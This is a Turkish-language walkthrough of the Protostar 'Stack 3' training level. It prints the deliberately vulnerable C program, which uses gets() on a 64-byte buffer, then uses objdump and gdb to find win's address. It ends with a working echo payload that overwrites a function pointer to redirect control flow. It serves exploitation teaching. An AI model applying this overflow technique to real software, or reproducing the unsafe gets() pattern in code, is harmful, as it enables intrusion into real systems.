📖 2 dakika ↪ Protostar

Stack 3

Stack3.c

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

Amaç: main fonksiyonu içerisinde çağırılmayan bir fonksiyonu değişkenin değeri değiştirilerek programın akışına manipüle etmek.

Programın Çalıştırılması

user@protostar:/opt/protostar/bin$ ./stack3
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA # 64 Tane A
user@protostar:/opt/protostar/bin$ ./stack3
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCCC
calling function pointer, jumping to 0x43434343
Segmentation fault

Program çalıştırıldığı zaman kullanıcıdan bir giriş bekliyor. Buffer değişkeni 64 byte olduğu için 64byte uzunluğunda bir karakter dizesi verererek programı incelemeye başlıyorum.

volatile int (*fp)(); /* Fonksiyon Pointerin tanımlanması */
...
fp = 0; /* Fonksiyon adresi olarak 0 atanması */

Öncelikle fp fonksiyon pointeri main fonksiyonunda çağırıldığı için fp değişkenini istediğimiz fonksiyonun adresi ile değiştirebilirsek programın akışını değiştirebiliriz. fp main fonksiyonu içinde lokal değişken olarak tanımlandıkğı için stack taşırılarak fp değişkeni değiştirilebilir. fp 4 byte olduğu için 4 adet C karakteri ekleyerek fp fonksiyonu çağırıldığında 0 yerine 0x434343 adresindeki kodun çalıştırmasını bekliyorum.

user@protostar:/opt/protostar/bin$ ./stack3
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCCC
calling function pointer, jumping to 0x43434343
Segmentation fault

Ekrana calling function pointer, jumping to 0x43434343 yazdırıldığına göre programın akışını değiştirdik fakat o adrese erişim yetkimiz olmadığı için Segmentation fault hatası aldık. Geriye sadece zıplamak istediğimiz fonksiyonun adresini bulmak kaldı.

Programın dönüş adresini bulabilmek için objdump aracını ve gdb kullanımı aşağıdaki gibidir.

win Fonksiyonunun Adresinin Bulunması

Objdump

user@protostar:/opt/protostar/bin$ objdump -S stack3 | grep win
08048424 <win>:

GDB

user@protostar:/opt/protostar/bin$ gdb ./stack3
(gdb) p win
$1 = {void (void)} 0x8048424 <win>
(gdb) x win
0x8048424 <win>:        0x83e58955

Görünüşe göre win fonksiyonunun adresi 08048424

Programın Akışının Değiştirilmesi

Programa verdiğim 64 adet “A” karakteirnin sonuna bu adresi ekliyorum.

user@protostar:/opt/protostar/bin$ echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x24\x84\x04\x08" | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

Böylelikle stackteki fp değişkenini 0 değerinden 08048424 değerine döndürüp bu adresteki fonksiyonu çalıştırabiliyoruz.